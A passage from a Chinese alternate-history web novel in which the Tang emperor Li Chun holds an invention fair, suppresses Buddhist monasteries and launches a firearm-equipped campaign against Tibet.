以白居易、元稹为首,张籍、李绅和王建等人加入,发起了新乐府运动,对诗歌的内容进行革新,他们致力于恢复古代的采诗制度,继承《诗经》和汉魏乐府的优良传统,通过诗歌来抒发**理想,关注民情。新乐府运动强调以自创的乐府题目来咏写时事,这个运动是对古乐府的发扬与超越,白居易、元稹等成员创作了一大批脍炙人口的诗歌。
以韩愈、柳宗元为首,发起了古文运动,他们提倡质朴的古文、反对华丽的骈文。韩愈提倡古文,推崇先秦和汉朝的散文,认为秦汉散文质朴自由,以散行单句为主,不受格式拘束,有利于反映现实生活、表达思想。韩愈的主张得到了柳宗元等人的大力支持和社会上的广泛反应,他们追求恢复儒学的优良道统,将改革文风与复兴儒学变为相辅相成的运动,在提倡古文的同时,进一步强调要文以明道。
以李吉甫、崔群为首,则发起了白话文运动,他们认为文言文虽然是老祖宗流传下来的,但是在表达上存在局限性,不利于普通百姓的学习和掌握,认为采用白话文,才能使文学更加贴近人民,更加易于理解和传播,还能让文学更加生动、有趣。当然在唐朝不可能采用纯粹的白话文,最后发展为半文半白的语言方式,既保留了一定的文学性,又比以前通俗易懂,深受底层百姓的喜爱。
除此之外,朝野还涌现了令狐楚、刘禹锡、孟郊、杨巨源、崔韶等各具特色的文人,有的善于写骈文、有的善于写小说,有的善于写诗歌,使当朝的文化异彩纷呈。
李纯认为,文化就应该兼容并蓄,百花齐放,这样才能让各个流派都有发挥的空间,丰富人们的文化欣赏内容。让李纯惋惜的是,居然没人发动学习科学的运动,看来这个运动后面只能由自己发起,让文坛注入一股新的力量。
全国的形势刚好起来,就出现了隐忧。元和六年,自春入夏,北方的雨水比往年少了很多,逐渐演变成了干旱,庄稼长势很差,河南道、山东道一些地方的夏收甚至是绝收,地里没有收成,很多农民不愿意等着饿死,就跑出去逃荒。
李纯收到各地的奏报,心急如火,急令各地开仓放粮,进行救济,又令户部调集银子向灾情比较严重的地方赈灾,让各地官员劝导外逃的百姓返乡。
虽然朝廷想了很多办法,但是还是有很多农民受到了灾情的影响,生活难以为继,一部分外逃,一部分舍入了寺庙。
唐朝中期以来,佛教发展日益壮大,佛寺遍地,信众日多,形成一股强大的势力。由于寺院的土地不用纳赋,寺庙的和尚不用当兵,减少了社会劳动力,对当时的经济和军事造成了极大的影响。
此次借着北方大旱,不少寺庙趁机广敛土地,大收信众,佛教的势力进一步做大,引发了朝廷的担忧。当时由于急着救灾,李纯也没心思去整治寺庙,只想着先把灾情熬过去,后面再想办法。
没想到各个寺庙更加有恃无恐,俨然以救世主自居,打着救苦救难的旗号,进一步扩大在百姓中的影响。
很多佛寺甚至散布一种思想,那就是唐朝能扫平藩镇,实现国家的统一,是众多信徒的上香**和求神祈福的结果,佛祖开始显灵,保佑大唐发展昌盛。
有些思想单纯的百姓竟然信了,还有些被俗世所扰的百姓,觉得进入佛家,就找到了解脱的机会,纷纷入寺为僧,有些权贵和富人,也以行善积德的名义,对寺庙布施大量财物。
一些寺庙修建的规模宏大,巍峨壮观,相比之下,很多百姓却是低檐破屋,生活穷困,形成了畸形的繁荣和反差。
好在当时南方风调雨顺,粮食收成好,朝廷调剂了不少运到北方救济,加上户部原来也存了一些家底,拿出来匀给受灾百姓,危机逐渐减轻。
当年秋天,北方的秋收还算可以,百姓的窘境基本得到了化解,外流的百姓全部返乡,生活步入了正轨。
中秋节后,按照李纯的指示,在原来的发明大会的基础上增加一个商品展览交易会,先由科工部举办为期两天的发明大会,再由工商部举办为期三天的商品展览交易会。
为办好这次盛会,朝廷提前向各地发出告知,积极动员,并在长安专门找了一个大广场来举办。很多百姓有了上次发明大会的经验,纷纷来到长安看热闹、找商机,这次不但来了很多能工巧匠,而且来了很多各地的商贩。
前面两天是发明大会,由科工部前期对参选的物件进行预先筛选,确认和保留有创新和实用价值的发明,排除了一些质量比较低的作品,最后保留了三十多件发明物件。
在演示上,第一天集中进行原地演示,主要是一些方便在原地进行进行讲解和演示的物件,第二天进行动态演示,主要是一些需要活动展示的物件。
按照第一次的模式,李纯和一些官员坐在台子上,其他百姓在四周的栅栏后面观看,四周有官兵警戒。由李绛进行开场致词以后,发明大会就正式开始。
第一个展示的东西有些大,只见场地上摆着五个织布机,一个好像磨盘似的转架,只是磨盘换成了联动齿轮,通过下面的一个连杆,可以把动力传到那五个织机上。
这时上来一男一女,男的赶着一头牛,女的带着织布的材料。只见他们准备一番后,男人赶着牛绕着拉动那个转架,转架的动力通过连杆传导给那五个织布机,织布机开始织布,织布机的零件比以前有了新的改进,实现了半自动化,那个女人可以进兼顾五个织机同时织布。
李纯惊叹不已,真是奇思妙想,搞了一个牛力织布机,织布的效率比艾笛声那个效率更高,完全具备推广价值。
第二个人居然是潘兴法,他带来的是他的水泥产品。只见他让人弄来一些河沙和碎石,又提来一包他制作的水泥,加水搅拌起来,拌好之后,装进一个木板拼成的木框里,然后又让人搬来一大块已经凝固好的混凝土。
潘兴法对众人说:“刚才那包泥灰叫做水泥,加水和沙石搅拌后成为混凝土,混凝土要两三天才能凝固,我这有块凝固好的混凝土可以给大家演示看看。”
只见一个壮汉拿着一个大锤走上来,对着那块混凝土就是猛砸,砸了好几下才砸裂开,硬度都快赶上石头了,果然是个做建筑的好材料。
李纯对混凝土制作成功非常高兴,加上**可以炸石头,以后建房修桥就会方便多了,这个技术要大规模的推广。
第三个人上来拿的东西很简单,就是一个筐子里面装了几块类似煤炭一样的东西。只见他拿起其中一块对众人说:
“这是焦炭,是用石炭通过高温加工而成,别看这个东西不起眼,对炼铁可有大用处。以前各个作坊都是用木炭炼铁,质量很差,需要后面反复加工才能得到好铁,我看煤炭烧火挺好,就用烧炭的办法把石炭进一步烧成焦炭,我用他炼出的铁工艺更简单,质量更好。”
李纯认为,这东西很重要,钢铁技术是国家发展的一个重要方面,以后做枪炮、机器、桥梁啥的都要用到钢铁,以后要让工商部重点推动。
第四个人上来的是一个妇人,她向人展示的是一块固体物,然后拿来一个木盆,再放进去一件衣服,倒进清水,然后用那块固体物往衣服上涂抹,而后就搓揉衣服,水中就出现了泡沫,清水开始变脏。
妇人站起来拿起那块固体物说:“这是是肥皂,是我们洁如作坊刚刚发明的,只要涂抹一些在要洗的衣服上面,洗涤的效果很好。”
李纯觉得肥皂虽小,但是社会应用很广,特别是带油渍的衣服,没有肥皂洗不干净,那个女子也是聪明,借用发明大会给自己的作坊打广告。
后面又展出了其他物件,李纯觉得都是小的创新,意义不是很大,就想看看第二天有啥好东西。
第二天,首先展出的是一个动力热气球,两个人在众人的帮助下,用炉火升起一个大的热气球,然后吊起一个大筐,两个人坐在筐子里,一个人操作热气球,一个人在筐子后侧装了一个手摇的大风叶。
摇着摇着,热气球慢慢向前飞去,虽然速度不快,但是比以前顺着风向走,也是有些进步,只是那个摇风叶的人非常辛苦,要不断
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地和那个操作热气球的人调换。
第二个展示的是一个马拉大车,跟普通车不同的是,这个车的轮子是铁的,而且轮子上装了轴承,可以装更多的货物,跑的也更快。仔细一打听,是艾笛声的交通司造的,原来是火车还没搞成功,但是轴承倒是搞出来了,拿出来装在大车上,效果很好。
第三个展示的是一个飞鸢,只见一个人用手托住这个飞鸢,然后按下飞鸢上的一个机关,这个飞鸢就能扑腾翅膀,开始飞起来。不过,这个飞鸢飞了没多远,就掉了下来,想必是用机械发条之类的东西,提前储存了一些能量,可以用来当玩具,实用性不大。
后面的东西也都是小打小闹,实用性不大,李纯没怎么关注。
两天下来,李纯觉得有用的发明还是太少,离自己的期望值还有差距。仔细又一想,唐朝人的受教育水平毕竟有限,科学知识匮乏,能搞成这样就不错了,饭要一口一口吃,不能太急。
科工部和工商部还是要继续推动,把火车、建筑、纺织、钢铁等重要的产业建立起来。对工商业采取鼓励政策,谁有创新,谁的成本低、质量好,谁的产品卖的好,赚钱多,其他人自然纷纷效仿那个,推陈出新,制作出更好的产品。
发明大会结束后,过了三天又是展览会,这次李纯没去,让程异带着工商部的官员操持,自己只让纪奎过去看一下,后面将情况报告一下。
三天后,程异、纪奎先后向他禀报展览会的情况。工商部准备了大量的摊位,吸引全国各地的客商带产品来参展,各地商人带来的有皮**、布匹,也有玉石、玛瑙,还有很多药材、矿石、食品,反正是无奇不有,总共来了上千摊。
来观看的百姓也很多,人山人海,其中有很多现场买卖,销售火爆,很多商家利用这次展会,招揽了不少客户,都反映对促进交易的效果非常好。
事后,李纯也总结思考了一下,觉得有必要对两个大会进行进一步的改进,于是召程异和李绛到宣政殿议事。
李纯道:“从总的来看,两个大会办的都非常好,以后每年都办,但是发明大会的模式要改进一下。很多发明不方便在现场演示,比如炼焦、炼铁、火车,后面科工部搞个发明奖金制度,让全国各地有发明创造或者技术革新的东西,都可以到科工部申报,科工部逐个审核评比,最终评出十个好的,和前三名的,分别给予奖金或者官职。在科工部可以建一座房子,叫做发明展览馆,把每年获得前十名的名字和成果记录展示出来,对于其发明成果可以用图文并茂的方式介绍,可以用实物,也可以用模型、图画展示,让百姓都可以去参观。”
李绛说:“臣也觉得很多东西在现场不方便展示,艾笛声弄得那个火车就没法展出,有的离长安远,东西大,也不方便带过来。我准备在科工部成立一个科技司,专门进行收集、评比这些好的发明创造或者技术革新,颁发奖金、推广技术,陛下说的那个展览馆也交给科技司去管理。”
李纯道:“科工部这个办法可以,工商部的展览会也改进一下,来了那么多客商,做生意赚了那么多钱,以后参展的商贩会越来越多,还是要设立一个参展门槛,对参展的商家收取一定的费用,前期可以低一些,后面可以略微增加。长安偏西,很多地方过来不方便,洛阳的紫微城拆掉了,那里有一大片场地,工商部可以平整一下,作为后面几年展会的场地,等夏原新都建好了,再迁到夏原。”
程异说:“全国各地的商品有很大的不同,通过办一次大规模的展览交易会。让各个商家、各种商品集中展示,人们可以对比质量和价格,可以让有竞争力的产品更好的打开销路,我们朝廷还可以收一笔参展费,确实很好。”
李纯道:“工商部还要大力推动钢铁、纺织、交通、建筑、采矿等重要的产业,进一步畅通交通,方便交易,未来工商业是发展经济的主战场。”
忙完发明大会和展览会的事,李纯开始考虑对佛教寺院进行下手,他早就对佛教寺庙憋了一口气,看到现在社会安定了,觉得打击佛教时机成熟了,于是下旨让各朝臣提出关于对佛教处置意见。
第56章 抑佛活动
没想到各个朝臣对佛教的处置意见并不一致,争论不休,形成了三个主要派别。
一是以李吉甫、元稹、韩愈、裴度等人为代表的坚决**派,他们认为佛教势力太大,蛊惑百姓。不但圈占了大量的土地和人口,引走了大量的兵源和劳动力,而且形成了一股强大的影响势力,很多百姓信佛不信官府,对朝廷的权威构成了极大的挑战,必须要予以**,勒令僧尼还俗,减少寺庙的数量,退回侵占百姓的土地。
二是以太常卿王元羲和礼部任左侍郎赖正文为首的反对派。他们认为自古僧俗两道,互不影响,信仰是百姓的自由,朝廷不应横加干涉,佛教鼓励人们知礼向善,有利于社会的稳定。朝廷的律例也没有对佛教有限制的条文,打击佛教没有依据,而且全国佛教信徒众多,一旦严厉打击,极有可能造成信徒的反抗,影响国家的稳定。
三是以李绛、李巽、程异等人为首的骑墙派,对于佛教的的态度模棱两可,不发表处置意见,表示以皇帝的意见为准。
李纯当然是想严厉打击佛教的,但是没想到这种意见居然不占多数,如何稳妥的推进这个事,李纯觉得还要斟酌一下。正在李纯苦思破局之策时,没想到局外人带来了新的转机。
这天,李承闽禀报说道士清虚子和柳泌求见,李纯颇感意外,但还是立即召见。
清虚子和柳泌他前面都见过几次,都认识,便问道:“今天二位道长怎么想起了拜见朕,清道长不再研究**了吗?”
清虚子答道:“对于道士而言,修道炼丹才是正途,我承蒙陛下眷顾,在**上研究了一段,后面教会几个徒弟,就让他们继续跟着郭云去弄,贫道现在和道友柳泌一起修道。今日听闻朝廷讨论处置佛教一事,特来建言。”
李纯道:“**这事,有人做就行,清道长去修道也是不错,今日你们对处置佛教有何意见?”
柳泌说:“陛下,这佛教是从天竺传来的外来宗教,来路不正,专门搞些似是而非的道理,扰乱视听,蛊惑百姓。而我道教,乃春秋时期老子、庄子所创,是正宗的本土宗教,一部道德经蕴含了天地自然的大道理,一本南华经为人们寻到了逍遥解脱的大意境,怎是外来的佛教所能比?可是那些佛寺为了吸引百姓,搞一些迷信活动,弄些拜佛许愿的把戏,利用人们心想事成的心理,诱导百姓捐献财物,还蒙骗了很多无知百姓入寺为僧、入庵为尼,搞得一教独大,反而回过头来,压制我们本土的道教,实在让人气愤,贫道请求陛下果断出手,**佛教,不能让他们再胡闹下去。”
李纯一听,原来是佛道之争,看来也是个可以利用的机会,于是说:“柳道长所言极是,朕也有抑制佛教之意,只是很多人说百姓有宗教信仰的自由,反对朝廷出手抑制,不知柳道长有何妙策?”
柳泌说:“我和清虚子愿意联合一些修道同仁,一起揭露佛教的错谬,发起一场反对佛教的运动,陛下只要有意,完全可以借此机会,采取雷霆手段。”
清虚子说:“我大唐皇室为李氏,与我道教老祖李耳,同出一姓,大唐各位皇帝皆崇信道教,希望陛下也能崇道抑佛,压制异端邪说。”
李纯说:“两位道长说的很好,朕非常赞赏,你们可以先联络一下其他道士,我这边会考虑一个万全之策。”
两个道士看到达成所愿,也就欣然而退。
李纯心想,佛教不怎么样,道教也好不到哪里去,唐朝有好几个皇帝都是崇信道教,服食金丹,导致重金属**而亡。
但是呢,佛教也走入了流俗化,各寺庙以宗教为名圈占土地,窝藏佃户,很多寺庙的上层聚敛财富,生活腐化,私养妻妾,霸占了大量的人口和财富,对朝廷的征兵和发展经济造成明显的不利影响。
这次倒是可以借助道教的势力,让道士们先挑起事端,朝廷再以处理宗教之争的名义介入,就比较名正言顺,也会减少阻力。
李纯正思索着,李承闽禀报说,李吉甫求见,李纯正想着要和他商议处置佛教的事,就让他进来。
李吉甫还带来一个二十多岁的年轻人,进来跪拜行礼后,李吉甫说:“承蒙陛下恩典,惦记着微臣的微末功劳,施恩于次子李德裕,以门荫制度,赐予他官职,前日又给他升为八品官,今日特来带犬子进宫谢恩。”
李纯想起来了,唐朝有个门荫制度,对于表现较好的大臣,皇帝可以特别下旨,封其子或弟为八品或九品官,是世人科举取士以外的另一个进入官场的途径,上次刘嫔的堂兄刘士瑜也是靠门荫制度入仕的。
因为李吉甫一直工作勤恳用心,李纯对他特别欣赏,先后以门荫制度给他的长子李老彭和次子李德裕赐官,特别是他的次子李德裕聪明而富有才干,干劲很足,加上他对李吉甫很欣赏,所以在前几天让吏部升李德裕为八品官。
想到这,李纯道:“李爱卿为了朝廷殚精竭虑,付出了很多心思和精力,为大唐做出了很大贡献,朕也久闻你的次子李德裕满腹才华,仪表堂堂,今日一见,果然不凡。”
李吉甫父子听闻,又连忙再次拜谢李纯。
李纯道:“刚才两位道士提起由他们出面搞起宗教之争,再由朝廷出面弹压佛教的事,李爱卿也提提你的看法。”
李吉甫说:“由道教出头,挑起这事倒是个办法。刚才在进宫的路上,臣和犬子还在讨论处置佛教的事,臣前面做了统计,现在全国有寺庙四千七百余所,僧尼有四十多万,还控制了大量的土地,免交赋税,直接控制和影响的有上百万人,加上间接影响的人,数量巨大,必须要采取果断措施。”
李纯道:“你说的,朕也知道。朕这些年为了大唐社稷,想了很多办法,采取很多动作,才初步有了国泰民安的局面,没想到很多佛寺居然归功于百姓崇信佛教,说是佛祖显灵。这次夏季大旱,各佛寺又趁机以布施的名义让百姓献地,还广收信众,吸纳了很多男女为僧为尼,弄走了很多劳动力,朝廷还怎么发展国家?”
李德裕施礼说:“小臣不才,承蒙圣恩眷顾,愿为皇上分忧,献上一个变害为益的处置佛教的办法。”
李吉甫喝道:“小年轻懂什么,朝廷大事,哪有你插嘴的份?”
李纯道:“无妨,年轻人可以跳出固定思维,先听他说说看。”
李德裕虽然年轻,但是却有胆识,说道:“皇上要迁都、要搞各项事业,都需要用人花钱,朝廷只要找个合适的由头,开展处置佛教的行动,各寺庙积攒的人力和财富完全可以为朝廷所用。”
李纯道:“说的这么轻巧,可以找个什么由头合适?”
李德裕说:“道士们如果挑起普通的宗教之争,朝廷虽然可以出手,但是难以直击要害。寺庙也是有清规戒律的,现在很多寺庙的和尚自己不守规矩,在寺庙外私养妻妾;还有的**寺庙的财产,损公肥私;有的寺庙把农民的土地挂在寺庙的名下,偷逃赋税,私藏佃户。这些都是违反朝廷的律法或者佛教的戒律,都可以拿来一一治罪,那些反对者也就没有了借口。”
李纯眼前一亮,赞道:“果然是后生可畏,这一招确实直击要害。”
李吉甫也说:“只要撕开口子,后面怎么调查,怎么定性,主动权都在朝廷手里,就是要狠狠的处置。”
李纯道:“上阵父子兵,打仗亲兄弟,这次抑佛活动,就交给吉甫发动,德裕可以找清虚子和柳泌商讨对策,打响第一炮。”
李吉甫说:“犬子出仕不久,就被皇上委以重任,臣父子定不负皇上重托,把抑佛之事做好。”
三日后,全国各地的道士们开始掀起声讨佛教的浪潮,向官府和朝廷告发各个寺庙的不法行为,**要求处置佛教中的乱象的奏折也纷至沓来,到了中书省和李纯手里。
李纯和众朝臣商讨后,决定下旨,要求各道、州、县严查僧人的不法行为,排查寺庙挂靠和隐匿百姓土地的的情况。
成立由李吉甫负责,包括权德舆、元稹、韩愈、裴度、李巽等人,组成的佛教问题清查处置专项组,全权负责清查全国范围内佛教组织存在的问题,并提出处置意见。
大家一看这个专项组,主要是以对佛教问题处置的强硬派官员为主,就有一种山雨欲来风满楼的感觉。
李吉甫也不客气,责令各地严查各寺庙存在的问题,对于**寺产、侵占香客捐献的僧人开除僧籍后交由官府处置,对于私下挂靠其他农民土地、共同偷逃赋税的寺庙,进行封寺,暂停一切对外活动。
大批僧人被抓,大量寺庙被封,分批
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审讯,又会揪出他人,株连了不少人,让人们对佛教的乱象有了深刻的认识。
当第一波整治活动告一段落,很多人以为要逐步收场时,李吉甫带人又发动了第二波活动,对全国的僧人进行身份排查,对于原来是官府通缉的逃犯,入寺前有逃避兵役或入寺后反了色戒或者较重戒律的,逐个揪出来进行惩处,又是一大波问题。
第二波还没完,又是第三波,李吉甫让各州县组织熟悉佛教经典的人员,对所有僧尼开展考试,考试的结果要汇总到中书省。
各地报上来的数据也是令人吃惊,大部分僧尼不会默写或者背诵佛教的《金刚经》、《心经》、《地藏经》等基本经典佛经,很多人当了和尚不念经、不学经,就是打着宗教外衣,混吃混喝。
连续三板斧,搞得佛教界人人自危,在大量事实面前,反对派也没法再提反对意见,形成了一边倒打击佛教的形势。造成了足够的**基础后,李纯决定召开一次朝会,一锤定音。
在朝会上,李吉甫先报告了专项组查处佛教寺庙和僧人存在的大量问题和事实,并建议采取严厉措施,打击和抑制佛教,大规模驱逐不合格的僧人出寺庙,封禁存在违法情况的寺庙,严格控制全国僧尼数量,净化佛教氛围。
听完这些,李纯说道:
“自古以来,佛教就是引人向善,寺庙就是修身养性的地方,僧尼就要遵守佛教的清规戒律。可是现在佛教成了一个什么样子,大和尚可以私养妻妾,小和尚可以**通奸,百姓捐献的香火钱大部分被寺庙高层**。
有些寺庙还和农民串通,利用寺庙的土地不纳税的政策漏洞,把大量老百姓的土地挂在寺庙下面,省下的赋税,寺庙和农民对半分成。那些寺庙的大和尚们一个个富得流油,财产惊人,整个佛教界已经污秽不堪,必须要进行整治。刚才李吉甫讲的很好,就是要搞一次佛教净化行动,不遵守佛家清规戒律,不学佛经,还是和尚吗?
这样的和尚越多,对国家的损害就越大,对佛教的污染越严重。专项组的意见朕基本同意,后面拿出一个办法来,裁减寺庙、减少僧人数量,把有污点、不合格的僧人全部驱逐出来。众卿可还有其他意见?”
这种情况下,谁还敢有不同意见,只能是按照李纯的旨意去办!
李吉甫带领专项组,也是毫不客气,制定一个严厉的处置方案。计划在长安、洛阳左右街各留二寺,每寺僧各三十人,其他每州各留一寺,寺庙根据原来的规模,划分为上中下三等,其中上寺留二十人,中寺留十人,下寺留五人。
多余的寺庙四千六百余所全部拆毁,拆下来的建筑材料一部分送到夏原营建新都,一部分用于当地的公共设施。寺庙里面的金银佛像上交国库,铜像及钟、磬用来铸钱,铁器用来铸造农器、兵器。没收寺产良田数3200万亩,僧尼迫令还俗者共三十余万人,释放供寺院役使的百姓、佃户五十万以上。
李纯觉得这个方案过于严厉,认为一些大寺、名刹,如果没有存在不法行为,可以酌情增加一些人数,比如大慈恩寺、白马寺僧众可以增加到五十人,一些前朝就存在的古寺没必要全部拆毁,能保留的尽量保留,没收土地、驱逐佃户就好。
李纯想办的事很多,制作火器,营建新都、提高官员待遇、整修道路,到处都要花钱,今年好不容易攒点钱粮,全被旱灾救济消耗光了。
朝廷计划明年就要发动对吐蕃的战役,既要烧钱,又要征兵,以后发展经济也需要大量的人力。通过这次抑佛活动,既得了大量土地、钱财又解放了大量人力,一举两得。
没收的钱财,主要用于采购军备、修建道路、营建新都。没收的土地,一部分用来奖励服役满三年的老兵,一部分用于分给无地的贫民。还俗的和尚,可以到军队当兵,可以种地,也可以做工经商,各行各业都在等着他们。
李纯认为,少数人研究一下佛家经典是可以,那么多跑进寺庙去混吃混喝,就是侵蚀国家的肌体。振兴国家,最根本的还是强大的军事、发达的经济、先进的科技。
不可否认,佛教里确实有一些得道高僧,但是大部分人就是当做一个谋生的职业而已,有些人信佛就是一个精神麻痹和寄托而已。
第57章 征讨吐蕃
想到了明年用兵吐蕃,李纯就想到了当初派去西川的武元衡,本是派他去应急,没想到一干就是四年。武元衡去了成都以后,虽然还有书信往来,但是见面的机会少了很多。
已经到了元和六年十月,距离李纯计划的元和七年三月用兵,只有五个月了,是该召回这个老伙计,提前筹划了。考虑一番后,李纯决定派吏部侍郎卫次公去川蜀道任布政使,召武元衡回朝,专任右仆射,筹划对吐蕃作战事宜。
传旨召人,一去一回,虽是快马加鞭,武元衡也是一个多月才返回长安,已经到了寒冷的隆冬,武元衡回到长安后,就急忙来宫里拜见李纯。
行礼后,李纯仔细打量武元衡,虽仅相隔四年,武元衡似乎比以前老了不少,脸上多了一些风霜痕迹,毕竟已经五十多岁了。
李纯道:“武爱卿,此去川蜀四年,辛苦你了,朕感觉你多了几分沧桑。”
武元衡鼻子一酸,差点流泪,哽咽地说:“能为皇上分忧,是臣下的荣幸,只是经常会想念陛下。”
想当年,武元衡是何等的英姿勃发、恃才傲物,如今也动了伤感之情,李纯道:
“这次回来就不让你走了,我们君臣好好相处,明年攻打吐蕃,朕还需要和你天天在一起研究对策。”
武元衡来了兴致:“陛下准备要对吐蕃动手了?”
李纯点点头:“从我即位那天就想对吐蕃动手,前些年吐蕃占领我大唐大片土地,掳走大量臣民,陇右安西一带尽归敌手,还有很多大唐子民苟活在吐蕃的压迫之下。每每想起此事,朕的心中都会隐痛,现在万事俱备,到了出手反击的时刻。朕准备封你为吐蕃招讨使,全面主持对吐蕃的作战。”
武元衡豪迈地说:“臣感谢陛下信任,臣到了川蜀以后就想着对吐蕃作战的事,对吐蕃研究了很多,对其**了如指掌,有信心打好这一仗。”
李纯补充道:“科工部日夜赶工,今年又生产了大量的火器,平蕃军、平蛮军已全部配备完毕,并开展训练,威西军也正在装备,估计再过两月就可以装备完毕,到时就以这三支军队为主力,大举进攻吐蕃。”
武元衡说:“吐蕃有军队四十多万,其中精锐约二十万,我们是不是再多调派些部队。”
李纯道:“朕计划再从兴中军调两万作为后援,征发一些民夫运送军需**。兵在精不在多,我们的武器领先吐蕃很多,这些足够了。”
武元衡说:“臣多次去眉州的平蛮军查看训练情况,新装备的火器确实威力大,射击速度快,可以大杀四方。”
李纯道:“这次要让吐蕃把欠我们的加倍偿还,不仅夺回全部失地,还要把吐蕃肢解掉,彻底消除西部边境的威胁。”
武元衡说:“陛下准备先从哪里下手?”
李纯道:“打吐蕃,自然是平蕃军打主攻,主攻方向选在陇右,但是计划先从南边动手,让平蛮军先打,吸引吐蕃主力向南,然后在北边大规模发动进攻。”
武元衡说:“那陛下准备什么时候开始用兵?”
李纯道:“目前军需物资准备的差不多了,前线两个军团的训练也到位了,威西军已经配备一半的火器,到年底可以配完,多给两个月训练,2月份就可以全部准备到位。到时调兴中军两万人西进,再征发5万民夫,3月份就可以开战,3月份平蛮军先在南线攻击,吸引吐蕃人的注意,减轻北线压力。一旦南线得手,北线在4月份大规模出击,争取四到五个月解决吐蕃。”
武元衡说:“听说元稹的外事部也在行动,在吐蕃那边收集情报,策反人员,干的也是有声有色。”
李纯道:“这次为了进攻吐蕃,我们准备的很充分,军事部训练军队,科工部生产火器**,外事部收集情报,策反后方,户部准备军饷粮草,到时这四个部门全部配合你,统一调配。”
武元衡说:“好,既然陛下如此信任臣,臣这几个月就进一步熟悉部队,制定计划,调配物资,只等陛下一声令下就开打。”
李纯道:“平蛮军你已经熟悉了,平蕃军、威西军你可以抽空去走走,让他们熟悉一下你这个招讨使,兴中军来了以后,你也见见,相信都会听从你的指挥。”
武元衡说:“好,臣这就回去制定计划,熟悉军队,计划出来后再给陛下钦定。”
李纯道:“这次我也跟你透个底,这次朕不仅要动吐蕃,准备花三年的时间,把周边的势力全部打一遍,吐蕃只是第一个。”
武元衡说:“陛下果然是大手笔,一出手就是大干,不知道总体怎么安排?”
李纯道:“现在各军还没有全部配备火器,先集中装备三个军团,明年先打吐蕃,试试手,后面火器大规模装备,计划在后年打回鹘、南诏、流求等地,大后年集中打东北方向的契丹、渤海、新罗、扶桑。”
武元衡说:“臣听起来都很激动,如果可以把这些势力都拿下,可以再现太宗时期的盛景,扬我大唐声威。”
李纯道:“你近段可以集中精力策划进攻吐蕃的事,后面要做一个统一的方案,分配好各军的任务,让十个军团全部参加这一波大规模的对外用兵。”
武元衡说:“陛下把这个大任务交给臣,臣无比荣幸,一定不辱使命。”
武元衡接到这么大的任务,感觉浑身都是劲,准备大干一番,带着军事部的人,制定计划,视察部队,准备物资,忙的是不亦乐乎。
安史之乱之后,吐蕃利用唐朝内乱衰落的机会,开始逐步侵吞唐朝西部的领土,先后攻占陇右、安西大片土地。
在德宗年间,吐蕃利用藩镇之乱的机会,进一步东侵,又攻取了原州(今宁夏固原)到秦州(今甘肃天水)以西的大片土地,甚至还攻陷长安后大掠而退。
在南方,吐蕃还攻取了的廓尔喀(今尼泊尔)、天竺(今印度)的大片土地,进入了极盛的阶段。
唐朝时期,吐蕃的社会制度仍属于相对落后的奴隶制度,对外扩张掠夺的人口,都成了吐蕃贵族的奴隶,处于被压榨被奴役的境地。
大批原来在唐朝土地自由生活的汉人,因为唐朝前几任皇帝的昏庸,很多沦为吐蕃人的奴隶,他们有的以死抗争,有的压抑住仇恨,等待着被解放的机会。
吐蕃在在强大的表象下,也隐藏着新的矛盾,自松赞干布以后,赞普的权力开始缩水,大相的权力逐步扩张,甚至出现**大相的情况,赞普和大相为了权力和利益,进行了持续不断地内部斗争。地方的一些军阀实力派,也会因为争夺土地和人口,产生互斗。
到了元和年间,大唐这边逐渐稳定富强起来,而吐蕃在各种矛盾的交织下,内部出现了离心的情况,君臣之间、地方实力派之间、吐蕃人与被压迫的民族之间,都出现了不同程度的矛盾。
只要外部力量适时予以有力打击,吐蕃完全有可能在内外力量的夹击下而崩溃。
元稹派人在吐蕃后方不断地进行收集情报和渗透策反工作,掌握了两个重要动向,汇报给李纯和武元衡。
一是河西一带的汉人,存在着强烈的反吐蕃心理,不少汉人联合抱团,对抗吐蕃人的欺凌,尤其以沙州(今甘肃敦煌)的张元甫、张议潮父子为首的汉人反吐蕃的决心最大。
二是吐蕃廓州(今青海尖扎)节度使论恐勒和鄯州(今青海西宁)节度使尚比尼不和,两个人明争暗斗,相互不服。
在觉察到唐朝可能用兵的企图以后,吐蕃纠集了四十万军队,大相尚思罗出镇兰州,计划以兰州为中心,对抗唐军的进攻。
针对当时的形势,尚思罗认为唐军进攻的重点可能是在北线,所以在秦州、原州一带集结了较多的兵力。为了以防万一,也保留了一定的机动兵力,作为策援。
进入元和七年二月,武元衡指挥唐军开始了一系列的准备。将3万平蛮军调到了彭州(今四川彭县)到雅州(今四川雅安)一带,计划作为第一波进攻力量,并抽调川蜀、黔中、湖北三道共1.5万人的地方部队,主要作为后方防御和机动支援兵力。
将3万平蕃军调到了凤翔以西边境一带,作为第二波北线的左翼主攻部队,并将2万兴中军调到凤翔,作为其后援。将3万威西军调到泾州(今甘肃平凉),作为第二波北线的右翼主攻部队,与平蕃军形成夹击的效果。
为了保障物资运输,关内道组织了3.5万民夫,川蜀道组织了1.5万民夫,不断向前线运送军事物资。
科工部大规模生产武器**,平蛮军、平蕃
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军、威西军三个军团全部配备新式火器,并在2月份完成训练,兴中军作为二线部队,配备了一半常规武器,一半火器。
户部在钱粮物资上也进行了充分的准备,将士的军饷足额发放,打胜仗还有赏银,在后方准备了足够的粮草。
经过对形势的认真分析,李纯和武元衡制定了“北主南辅,前打后拉”的战略,计划发动一场大规模的进攻,全面击败吐蕃,夺回被占土地。
3月份,按照计划,南线高霞寓率领的平蛮军率先发动攻击,对吐蕃的维州(今四川理县)和罗岩州(今四川康定)发动猛烈攻击。刚开始吐蕃军自恃勇猛,加上觉得唐军不多,主动出击对战,还没接手,就被唐军的火炮、**炮射出的炮弹一阵猛炸,搞得损失惨重。
吐蕃军急忙回撤,分兵龟缩到堡垒里,企图凭险固守,唐军就围着堡垒,不停的炮轰枪击,还往堡垒里发射***,搞得吐蕃军难以招架。
后面吐蕃军又采取突袭川蜀道后方的策略,唐军二线部队早已防守住各个主要道路、隘口,均无功而返。
之后,吐蕃军又发动夜袭,唐军早已在营地周边埋设**,吐蕃军刚接近唐军营地,高霞寓就命人点燃**,吐蕃夜袭的军队丢下一堆尸体,狼狈而回。
打了半个月,吐蕃南路军统领扎日勒,实在是顶不住了,急忙向尚思罗请求支援。尚思罗本来还有疑虑,但是看到南路损失惨重,只能派去5万机动兵力向南支援,在北线保留25万军队,对抗唐军。
在历史上,由于韦皋等人的经营,多次击败吐蕃,唐朝在南线的土地基本没有损失。吐蕃一方的土地,大多山高林密,唐军想要的地方不多,主要是打消耗战,逼迫吐蕃向南支援,减轻唐军在北线的阻力。
